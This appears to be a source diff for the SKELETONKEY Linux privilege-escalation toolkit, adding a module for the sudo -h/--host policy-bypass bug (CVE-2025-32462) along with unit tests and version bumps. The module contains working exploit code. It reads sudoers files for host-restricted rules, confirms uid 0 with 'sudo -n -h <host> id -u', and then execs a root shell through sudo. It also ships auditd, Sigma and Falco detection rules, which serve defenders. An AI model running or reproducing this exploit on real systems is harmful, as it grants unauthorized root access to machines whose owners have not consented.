/* min == 9 */
|
||||
if (patch < 17) return true; /* 1.9.0 .. 1.9.16 */
|
||||
if (patch > 17) return false; /* 1.9.18+ fixed */
|
||||
/* exactly 1.9.17 */
|
||||
if (ptag != 'p') return true; /* 1.9.17 plain → vulnerable */
|
||||
return psub == 0; /* 1.9.17p0 vuln; p1+ fixed */
|
||||
}
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_host_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] sudo_host: sudo not installed; bug unreachable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
char vbuf[64] = {0};
|
||||
const char *ver = NULL;
|
||||
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||
ver = ctx->host->sudo_version;
|
||||
} else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) {
|
||||
ver = vbuf;
|
||||
} else {
|
||||
if (!ctx->json) fprintf(stderr, "[!] sudo_host: could not read sudo --version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_host: sudo version '%s'\n", ver);
|
||||
|
||||
if (!sudo_version_vulnerable_host(ver)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_host: sudo %s outside vulnerable range "
|
||||
"[1.8.8, 1.9.17p0] — patched or pre-feature\n", ver);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] sudo_host: sudo %s in vulnerable range — VULNERABLE\n", ver);
|
||||
fprintf(stderr, "[i] sudo_host: `-h`/`--host` honored beyond `-l` — a sudoers "
|
||||
"rule scoped to a non-current host is usable via `sudo -h <host>`\n");
|
||||
fprintf(stderr, "[i] sudo_host: exploitation requires such a host-restricted rule "
|
||||
"(common with fleet-wide / LDAP / SSSD sudoers). Run "
|
||||
"`--exploit sudo_host --i-know` to find/fire one.\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
/* Does `tok` name a host that is exploitable from here — i.e. a specific
|
||||
* host that is neither the current hostname nor the ALL wildcard? */
|
||||
static bool host_is_abusable(const char *tok, const char *cur_host)
|
||||
{
|
||||
if (!tok || !*tok) return false;
|
||||
if (strcmp(tok, "ALL") == 0) return false; /* no restriction → no bug */
|
||||
if (tok[0] == '%' || tok[0] == '+') return false; /* netgroup/group, skip */
|
||||
if (strcasecmp(tok, cur_host) == 0) return false; /* already our host */
|
||||
/* A bare short-hostname form of the FQDN counts as "us" too. */
|
||||
const char *dot = strchr(cur_host, '.');
|
||||
if (dot) {
|
||||
size_t shortlen = (size_t)(dot - cur_host);
|
||||
if (strlen(tok) == shortlen && strncasecmp(tok, cur_host, shortlen) == 0)
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Best-effort scan of a sudoers source for a rule whose host field is
|
||||
* abusable. Fills *host_out with the host token to pass to `sudo -h`.
|
||||
* Returns true on the first hit. We do not try to fully parse the
|
||||
* sudoers grammar — we look for `<who> <host> = ...` user-spec lines and
|
||||
* test the host token. who may be the user, a %group, or ALL. */
|
||||
static bool scan_sudoers_file(const char *path, const char *user,
|
||||
const char *cur_host, char *host_out, size_t host_sz)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return false;
|
||||
char line[1024];
|
||||
bool hit = false;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
char *s = line;
|
||||
while (*s == ' ' || *s == '\t') s++;
|
||||
if (*s == '#' || *s == '\n' || *s == 0) continue;
|
||||
if (strncmp(s, "Defaults", 8) == 0) continue;
|
||||
if (strstr(s, "_Alias")) continue; /* alias defs, not user specs */
|
||||
if (strstr(s, "#include") || strncmp(s, "@include", 8) == 0) continue;
|
||||
|
||||
/* Must contain '=' (the host = command separator). */
|
||||
char *eq = strchr(s, '=');
|
||||
if (!eq) continue;
|
||||
|
||||
/* who = first token; host = second token (before '='). */
|
||||
char who[128] = {0}, host[256] = {0};
|
||||
if (sscanf(s, "%127s %255s", who, host) != 2) continue;
|
||||
/* strip a trailing '=' that sscanf may have grabbed onto host */
|
||||
char *he = strchr(host, '=');
|
||||
if (he) *he = 0;
|
||||
if (!host[0]) continue;
|
||||
|
||||
bool who_match = (strcmp(who, "ALL") == 0) ||
|
||||
(strcmp(who, user) == 0) ||
|
||||
(who[0] == '%'); /* group — best-effort match */
|
||||
if (!who_match) continue;
|
||||
|
||||
if (host_is_abusable(host, cur_host)) {
|
||||
snprintf(host_out, host_sz, "%s", host);
|
||||
hit = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
return hit;
|
||||
}
|
||||
|
||||
/* Try to discover an abusable host token from readable sudoers sources.
|
||||
* Most non-root users cannot read these (that's the bug's opacity), but
|
||||
* misconfigured / world-readable sudoers and some LDAP cache dumps are
|
||||
* common enough to be worth a look. */
|
||||
static bool discover_abusable_host(const char *user, const char *cur_host,
|
||||
char *host_out, size_t host_sz)
|
||||
{
|
||||
if (scan_sudoers_file("/etc/sudoers", user, cur_host, host_out, host_sz))
|
||||
return true;
|
||||
/* /etc/sudoers.d/* — enumerate via shell glob into a temp listing. */
|
||||
FILE *p = popen("ls -1 /etc/sudoers.d/ 2>/dev/null", "r");
|
||||
if (p) {
|
||||
char name[256];
|
||||
while (fgets(name, sizeof name, p)) {
|
||||
char *nl = strchr(name, '\n'); if (nl) *nl = 0;
|
||||
if (!name[0]) continue;
|
||||
char full[512];
|
||||
snprintf(full, sizeof full, "/etc/sudoers.d/%s", name);
|
||||
if (scan_sudoers_file(full, user, cur_host, host_out, host_sz)) {
|
||||
pclose(p);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
pclose(p);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Run `sudo -n -h <host> id -u` and return true if it printed "0"
|
||||
* (command executed as root). -n keeps it non-interactive so a password
|
||||
* prompt can't hang the scan. */
|
||||
static bool sudo_host_witness_root(const char *sudo_path, const char *host)
|
||||
{
|
||||
char cmd[768];
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"%s -n -h %s id -u 2>/dev/null", sudo_path, host);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char out[64] = {0};
|
||||
char *r = fgets(out, sizeof out, p);
|
||||
pclose(p);
|
||||
if (!r) return false;
|
||||
return atoi(out) == 0 && (out[0] == '0');
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
static skeletonkey_result_t sudo_host_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#ifndef __linux__
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] sudo_host: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] sudo_host: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
skeletonkey_result_t pre = sudo_host_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] sudo_host: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] sudo_host: already running as root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
fprintf(stderr, "[-] sudo_host: sudo not installed\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
char cur_host[256] = {0};
|
||||
if (gethostname(cur_host, sizeof cur_host - 1) != 0) cur_host[0] = 0;
|
||||
struct passwd *pw = getpwuid(geteuid());
|
||||
const char *user = pw ? pw->pw_name : "";
|
||||
|
||||
/* The host token to abuse. Source priority:
|
||||
* 1. SKELETONKEY_SUDO_HOST env var (operator supplies it — the most
|
||||
* reliable path, since the host-restricted rule usually lives in
|
||||
* a sudoers source the user can't read).
|
||||
* 2. Best-effort discovery from readable sudoers. */
|
||||
char host_tok[256] = {0};
|
||||
const char *envh = getenv("SKELETONKEY_SUDO_HOST");
|
||||
if (envh && *envh) {
|
||||
snprintf(host_tok, sizeof host_tok, "%s", envh);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_host: using SKELETONKEY_SUDO_HOST=%s\n", host_tok);
|
||||
} else if (discover_abusable_host(user, cur_host, host_tok, sizeof host_tok)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_host: found abusable host-restricted rule "
|
||||
"(host '%s' != current '%s') in readable sudoers\n",
|
||||
host_tok, cur_host);
|
||||
} else {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_host: no abusable host-restricted rule discoverable.\n"
|
||||
" The vulnerable sudo is present, but exploitation needs a sudoers\n"
|
||||
" rule scoped to a host other than '%s' (and not ALL), which is\n"
|
||||
" typically in a sudoers source you cannot read. If you know one\n"
|
||||
" (fleet-wide / LDAP / SSSD sudoers), supply it and re-run:\n"
|
||||
" SKELETONKEY_SUDO_HOST=<that-host> \\\n"
|
||||
" [SKELETONKEY_SUDO_CMD=/bin/bash] \\\n"
|
||||
" skeletonkey --exploit sudo_host --i-know\n",
|
||||
cur_host[0] ? cur_host : "(this host)");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Confirm the policy actually grants root on the local box when we
|
||||
* claim to be host_tok. `id -u` as the witness command. */
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_host: testing `sudo -n -h %s id -u`...\n", host_tok);
|
||||
if (!sudo_host_witness_root(sudo_path, host_tok)) {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_host: `sudo -h %s id -u` did not return uid 0. Likely:\n"
|
||||
" - sudo is patched (1.9.17p1+) even if --version looked vulnerable\n"
|
||||
" - the rule for '%s' is command-restricted (doesn't grant `id`);\n"
|
||||
" set SKELETONKEY_SUDO_CMD to a command the rule DOES grant\n"
|
||||
" - the rule requires a password (we run -n / non-interactive)\n",
|
||||
host_tok, host_tok);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_host: WITNESS — `sudo -h %s` runs as uid 0. "
|
||||
"CVE-2025-32462 confirmed.\n", host_tok);
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[i] sudo_host: --no-shell set; not popping. Reproduce with: "
|
||||
"sudo -h %s <command>\n", host_tok);
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
/* Pop a root shell via the abused host. The granted command may be
|
||||
* restricted; default to /bin/bash but let the operator override to
|
||||
* whatever the rule actually permits. */
|
||||
const char *cmd = getenv("SKELETONKEY_SUDO_CMD");
|
||||
if (!cmd || !*cmd) cmd = "/bin/bash";
|
||||
fprintf(stderr, "[+] sudo_host: exec `sudo -h %s %s`\n", host_tok, cmd);
|
||||
fflush(NULL);
|
||||
execl(sudo_path, "sudo", "-h", host_tok, cmd, (char *)NULL);
|
||||
perror("execl(sudo -h)");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char sudo_host_auditd[] =
|
||||
"# sudo_host CVE-2025-32462 — auditd detection rules\n"
|
||||
"# Flag sudo invocations; the abuse is `sudo -h <host>` running a\n"
|
||||
"# command (not just `-l`). auditd can't filter argv content, so this\n"
|
||||
"# watches sudo execve broadly — correlate with sudo's own logs, which\n"
|
||||
"# record the -h/--host value and the target command.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-host\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/bin/sudo -k skeletonkey-sudo-host\n";
|
||||
|
||||
static const char sudo_host_sigma[] =
|
||||
"title: Possible CVE-2025-32462 sudo --host policy-bypass LPE\n"
|
||||
"id: 7c1d9e54-skeletonkey-sudo-host\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects sudo invoked with -h/--host together with a command (not\n"
|
||||
" -l/--list). On sudo <= 1.9.17p0 the host option is honored when\n"
|
||||
" running commands, letting a user abuse a sudoers rule scoped to a\n"
|
||||
" different host. False positives: admins legitimately using\n"
|
||||
" `sudo -l -h <host>` to LIST remote privileges (no command present).\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" sudo_exec: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n"
|
||||
" host_opt: {argv|contains: ['-h', '--host']}\n"
|
||||
" condition: sudo_exec and host_opt\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.32462]\n";
|
||||
|
||||
static const char sudo_host_falco[] =
|
||||
"- rule: sudo --host running a command by non-root (CVE-2025-32462)\n"
|
||||
" desc: |\n"
|
||||
" sudo invoked with -h/--host while running a command (not -l). On\n"
|
||||
" sudo <= 1.9.17p0 the host option is wrongly honored outside\n"
|
||||
" --list, so a sudoers rule scoped to another host can be abused\n"
|
||||
" for local root. False positives: `sudo -l -h <host>` used purely\n"
|
||||
" to list remote privileges.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = sudo and\n"
|
||||
" (proc.cmdline contains \"-h \" or proc.cmdline contains \"--host\") and\n"
|
||||
" not proc.cmdline contains \"-l\" and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" sudo --host running a command by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.32462]\n";
|
||||
|
||||
/* ---- module struct -------------------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module sudo_host_module = {
|
||||
.name = "sudo_host",
|
||||
.cve = "CVE-2025-32462",
|
||||
.summary = "sudo -h/--host honored beyond -l → abuse a host-restricted sudoers rule for local root (Stratascale)",
|
||||
.family = "sudo",
|
||||
.kernel_range = "userspace — sudo 1.8.8 ≤ V ≤ 1.9.17p0 (fixed in 1.9.17p1)",
|
||||
.detect = sudo_host_detect,
|
||||
.exploit = sudo_host_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade sudo to 1.9.17p1+ */
|
||||
.cleanup = NULL, /* exploit runs a command as root; no persistent artifact */
|
||||
.detect_auditd = sudo_host_auditd,
|
||||
.detect_sigma = sudo_host_sigma,
|
||||
.detect_yara = NULL, /* behavioural (argv) bug — no file artifact to match */
|
||||
.detect_falco = sudo_host_falco,
|
||||
.opsec_notes = "Reads sudo --version (or the cached host fingerprint). On --exploit, best-effort reads /etc/sudoers + /etc/sudoers.d/* (usually unreadable to non-root — that opacity is the bug) looking for a user-spec whose host field is neither the current hostname nor ALL; or takes the host from SKELETONKEY_SUDO_HOST. Witnesses with `sudo -n -h <host> id -u` (non-interactive, no password prompt) and pops `sudo -h <host> /bin/bash` (override via SKELETONKEY_SUDO_CMD) only on a uid-0 witness. Audit-visible via execve(/usr/bin/sudo) with -h/--host in argv and a command present (not -l); sudo's own syslog/journal logging records the spoofed host and target command. No file artifacts, no persistence.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudo_host(void)
|
||||
{
|
||||
skeletonkey_register(&sudo_host_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* sudo_host_cve_2025_32462 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef SUDO_HOST_SKELETONKEY_MODULES_H
|
||||
#define SUDO_HOST_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module sudo_host_module;
|
||||
|
||||
#endif
|
||||
@@ -106,7 +106,9 @@ static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||
static bool find_runas_blacklist_grant(const char *sudo_path, char *cmd_out, size_t cap)
|
||||
{
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s -ln 2>/dev/null", sudo_path);
|
||||
/* -n -l separated + stdin closed: see sudoedit_editor for the same
|
||||
* pattern + rationale. `--auto` must never block on a tty prompt. */
|
||||
snprintf(cmd, sizeof cmd, "%s -n -l </dev/null 2>/dev/null", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char line[512];
|
||||
|
||||
@@ -149,8 +149,13 @@ static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||
static bool find_sudoedit_target(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
/* -n: non-interactive (no password prompt); -l: list. */
|
||||
snprintf(cmd, sizeof cmd, "%s -ln 2>&1", sudo_path);
|
||||
/* -n: non-interactive (no password prompt); -l: list. The two flags
|
||||
* are written separately and stdin is redirected from /dev/null so
|
||||
* sudo cannot fall back to a tty prompt even if the local PAM stack
|
||||
* tries to coerce one (some sudoers + pam_unix configurations have
|
||||
* been observed prompting despite `-n` when the flags are bundled
|
||||
* as `-ln`). Belt-and-suspenders so `--auto` never blocks on input. */
|
||||
snprintf(cmd, sizeof cmd, "%s -n -l </dev/null 2>&1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
|
||||
|
||||
@@ -56,6 +56,7 @@ static const struct kernel_patched_from tioscpgrp_patched_branches[] = {
|
||||
{4, 14, 213}, /* 4.14 LTS */
|
||||
{4, 19, 165}, /* 4.19 LTS */
|
||||
{5, 4, 85}, /* 5.4 LTS */
|
||||
{5, 9, 15}, /* Debian-tracked 5.9 backport */
|
||||
{5, 10, 0}, /* mainline fix in 5.10 */
|
||||
};
|
||||
|
||||
|
||||
+4
-1
@@ -35,7 +35,7 @@
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define SKELETONKEY_VERSION "0.9.2"
|
||||
#define SKELETONKEY_VERSION "0.9.10"
|
||||
|
||||
static const char BANNER[] =
|
||||
"\n"
|
||||
@@ -1003,6 +1003,7 @@ static int module_safety_rank(const char *n)
|
||||
/* Higher = safer. Run highest-ranked vulnerable module. */
|
||||
if (!strcmp(n, "pwnkit")) return 100; /* userspace, no kernel */
|
||||
if (!strcmp(n, "sudoedit_editor")) return 99; /* structural argv */
|
||||
if (!strcmp(n, "sudo_host")) return 96; /* structural; needs a host-restricted sudoers rule */
|
||||
if (!strcmp(n, "cgroup_release_agent")) return 98; /* structural, no offsets */
|
||||
if (!strcmp(n, "overlayfs_setuid")) return 97; /* structural setuid */
|
||||
if (!strcmp(n, "overlayfs")) return 96; /* userns + xattr */
|
||||
@@ -1014,6 +1015,8 @@ static int module_safety_rank(const char *n)
|
||||
if (!strcmp(n, "dirtydecrypt") ||
|
||||
!strcmp(n, "fragnesia")) return 87; /* ported page-cache writes; version-pinned detect, exploit NOT VM-verified */
|
||||
if (!strcmp(n, "ptrace_traceme")) return 85; /* userspace cred race */
|
||||
if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
|
||||
if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */
|
||||
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
|
||||
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
|
||||
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
|
||||
|
||||
+127
-3
@@ -68,6 +68,9 @@ extern const struct skeletonkey_module sudo_runas_neg1_module;
|
||||
extern const struct skeletonkey_module tioscpgrp_module;
|
||||
extern const struct skeletonkey_module vsock_uaf_module;
|
||||
extern const struct skeletonkey_module nft_pipapo_module;
|
||||
extern const struct skeletonkey_module ptrace_pidfd_module;
|
||||
extern const struct skeletonkey_module sudo_host_module;
|
||||
extern const struct skeletonkey_module cifswitch_module;
|
||||
|
||||
static int g_pass = 0;
|
||||
static int g_fail = 0;
|
||||
@@ -318,12 +321,13 @@ static const struct skeletonkey_host h_kernel_5_14_no_userns = {
|
||||
static void run_all(void)
|
||||
{
|
||||
#ifdef __linux__
|
||||
/* dirtydecrypt: kernel.major < 7 → predates the bug → OK */
|
||||
run_one("dirtydecrypt: kernel 6.12 predates 7.0 → OK",
|
||||
/* dirtydecrypt: rxgk RESPONSE bug entered at 6.16.1 per NVD;
|
||||
* kernels before that predate the buggy code → OK */
|
||||
run_one("dirtydecrypt: kernel 6.12 predates 6.16.1 → OK",
|
||||
&dirtydecrypt_module, &h_pre7_no_userns_no_dbus,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
run_one("dirtydecrypt: kernel 6.14 (fedora) still predates → OK",
|
||||
run_one("dirtydecrypt: kernel 6.14 (fedora) still predates 6.16.1 → OK",
|
||||
&dirtydecrypt_module, &h_fedora_no_debian,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
@@ -331,6 +335,12 @@ static void run_all(void)
|
||||
&dirtydecrypt_module, &h_ubuntu_24_userns_ok,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* fragnesia: SKBFL_SHARED_FRAG marker added in 5.11; kernels before
|
||||
* that predate the buggy skb_try_coalesce() code → OK */
|
||||
run_one("fragnesia: kernel 4.4 predates 5.11 SKBFL_SHARED_FRAG → OK",
|
||||
&fragnesia_module, &h_kernel_4_4,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* fragnesia: userns disabled → XFRM gate closed → PRECOND_FAIL */
|
||||
run_one("fragnesia: userns_allowed=false → PRECOND_FAIL",
|
||||
&fragnesia_module, &h_pre7_no_userns_no_dbus,
|
||||
@@ -718,6 +728,120 @@ static void run_all(void)
|
||||
&nft_pipapo_module, &h_kernel_4_4,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* ── ptrace_pidfd (CVE-2026-46333) ───────────────────────────
|
||||
* Version-pinned: predates-gate at pidfd_getfd's 5.6 introduction,
|
||||
* then Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7. */
|
||||
|
||||
/* kernel 4.4 predates the pidfd_getfd vector (added 5.6) → OK */
|
||||
run_one("ptrace_pidfd: kernel 4.4 predates pidfd_getfd (5.6) → OK",
|
||||
&ptrace_pidfd_module, &h_kernel_4_4,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 5.5.99 is one below the 5.6 vector introduction → OK */
|
||||
struct skeletonkey_host h_pidfd_5_5_99 =
|
||||
mk_host(h_kernel_6_12, 5, 5, 99, "5.5.99-test");
|
||||
run_one("ptrace_pidfd: 5.5.99 below pidfd_getfd (5.6) → OK",
|
||||
&ptrace_pidfd_module, &h_pidfd_5_5_99,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 5.15.5 has the vector and is below every fix backport → VULNERABLE */
|
||||
struct skeletonkey_host h_pidfd_5_15_5 =
|
||||
mk_host(h_kernel_6_12, 5, 15, 5, "5.15.5-test");
|
||||
run_one("ptrace_pidfd: 5.15.5 (vector + below all fixes) → VULNERABLE",
|
||||
&ptrace_pidfd_module, &h_pidfd_5_15_5,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* 6.12.87 one below the trixie backport → VULNERABLE */
|
||||
struct skeletonkey_host h_pidfd_6_12_87 =
|
||||
mk_host(h_kernel_6_12, 6, 12, 87, "6.12.87-test");
|
||||
run_one("ptrace_pidfd: 6.12.87 (one below 6.12.88 backport) → VULNERABLE",
|
||||
&ptrace_pidfd_module, &h_pidfd_6_12_87,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* 6.12.88 exact trixie backport → OK via patch table */
|
||||
struct skeletonkey_host h_pidfd_6_12_88 =
|
||||
mk_host(h_kernel_6_12, 6, 12, 88, "6.12.88-test");
|
||||
run_one("ptrace_pidfd: 6.12.88 (exact backport) → OK via patch table",
|
||||
&ptrace_pidfd_module, &h_pidfd_6_12_88,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 7.1.0 is newer than every entry → mainline-inherited fix → OK */
|
||||
struct skeletonkey_host h_pidfd_7_1_0 =
|
||||
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
|
||||
run_one("ptrace_pidfd: 7.1.0 above all backports → OK (mainline inherit)",
|
||||
&ptrace_pidfd_module, &h_pidfd_7_1_0,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* ── sudo_host (CVE-2025-32462) ──────────────────────────────
|
||||
* Version-gated on sudo [1.8.8, 1.9.17p0]; fixed 1.9.17p1.
|
||||
* Assumes sudo is installed on the runner (as the other sudo_*
|
||||
* rows do — detect() PRECOND_FAILs without a setuid sudo). */
|
||||
|
||||
/* vulnerable sudo 1.8.31 (in range) → VULNERABLE */
|
||||
run_one("sudo_host: sudo 1.8.31 (in range) → VULNERABLE",
|
||||
&sudo_host_module, &h_vuln_sudo,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* fixed sudo 1.9.17p1 → OK (note: 1.9.13p1 is still vulnerable to
|
||||
* THIS CVE, so h_fixed_sudo can't be reused here) */
|
||||
struct skeletonkey_host h_sudo_host_fixed = h_kernel_6_12;
|
||||
strcpy(h_sudo_host_fixed.sudo_version, "1.9.17p1");
|
||||
run_one("sudo_host: sudo 1.9.17p1 (fixed) → OK",
|
||||
&sudo_host_module, &h_sudo_host_fixed,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* sudo 1.8.6 predates the -h behaviour (< 1.8.8) → OK */
|
||||
struct skeletonkey_host h_sudo_host_old = h_kernel_6_12;
|
||||
strcpy(h_sudo_host_old.sudo_version, "1.8.6");
|
||||
run_one("sudo_host: sudo 1.8.6 (pre-1.8.8) → OK",
|
||||
&sudo_host_module, &h_sudo_host_old,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* sudo 1.9.17 plain (== 1.9.17p0) → VULNERABLE (fix is p1) */
|
||||
struct skeletonkey_host h_sudo_host_1917 = h_kernel_6_12;
|
||||
strcpy(h_sudo_host_1917.sudo_version, "1.9.17");
|
||||
run_one("sudo_host: sudo 1.9.17 (==p0, pre-p1 fix) → VULNERABLE",
|
||||
&sudo_host_module, &h_sudo_host_1917,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* ── cifswitch (CVE-2026-46243) ──────────────────────────────
|
||||
* Version-gated on Debian backports 5.10.257 / 6.1.174 / 6.12.90 /
|
||||
* 7.0.10. The VULNERABLE/PRECOND_FAIL split below the fix depends on
|
||||
* whether the cifs.upcall userspace path is present; we drive that
|
||||
* deterministically with SKELETONKEY_CIFS_ASSUME_PRESENT (1=present,
|
||||
* 0=absent) so the rows don't depend on cifs-utils being installed on
|
||||
* the runner. Patched-kernel rows return OK before the probe, so they
|
||||
* need no override. */
|
||||
|
||||
/* patched branch (exact 6.12.90 backport) → OK regardless of cifs */
|
||||
struct skeletonkey_host h_ciw_61290 =
|
||||
mk_host(h_kernel_6_12, 6, 12, 90, "6.12.90-test");
|
||||
run_one("cifswitch: 6.12.90 (exact backport) → OK via patch table",
|
||||
&cifswitch_module, &h_ciw_61290,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
|
||||
struct skeletonkey_host h_ciw_710 =
|
||||
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
|
||||
run_one("cifswitch: 7.1.0 above all backports → OK (mainline inherit)",
|
||||
&cifswitch_module, &h_ciw_710,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* vulnerable kernel (one below 6.12.90) + cifs path present → VULNERABLE */
|
||||
struct skeletonkey_host h_ciw_61289 =
|
||||
mk_host(h_kernel_6_12, 6, 12, 89, "6.12.89-test");
|
||||
setenv("SKELETONKEY_CIFS_ASSUME_PRESENT", "1", 1);
|
||||
run_one("cifswitch: 6.12.89 + cifs.upcall present → VULNERABLE",
|
||||
&cifswitch_module, &h_ciw_61289,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* same vulnerable kernel but cifs path absent → PRECOND_FAIL */
|
||||
setenv("SKELETONKEY_CIFS_ASSUME_PRESENT", "0", 1);
|
||||
run_one("cifswitch: 6.12.89 but cifs-utils absent → PRECOND_FAIL",
|
||||
&cifswitch_module, &h_ciw_61289,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
unsetenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
|
||||
|
||||
/* ── coverage report ─────────────────────────────────────────
|
||||
* Iterate the runtime registry (populated by skeletonkey_register_*
|
||||
* calls in main()) and warn for any module that was not touched
|
||||
|
||||
Binary file not shown.
@@ -118,18 +118,38 @@ def fetch_kev_catalog() -> dict[str, str]:
|
||||
|
||||
|
||||
def fetch_nvd_cwe(cve: str) -> tuple[str | None, str | None]:
|
||||
"""Return (cwe_id, description) from NVD. Returns (None, None) on miss."""
|
||||
"""Return (cwe_id, description) from NVD. Returns (None, None) on miss.
|
||||
|
||||
Same urlopen-hangs-silently pattern as the CISA fetch: NVD's HTTP/2
|
||||
endpoint sometimes leaves Python sockets in CLOSE_WAIT forever even
|
||||
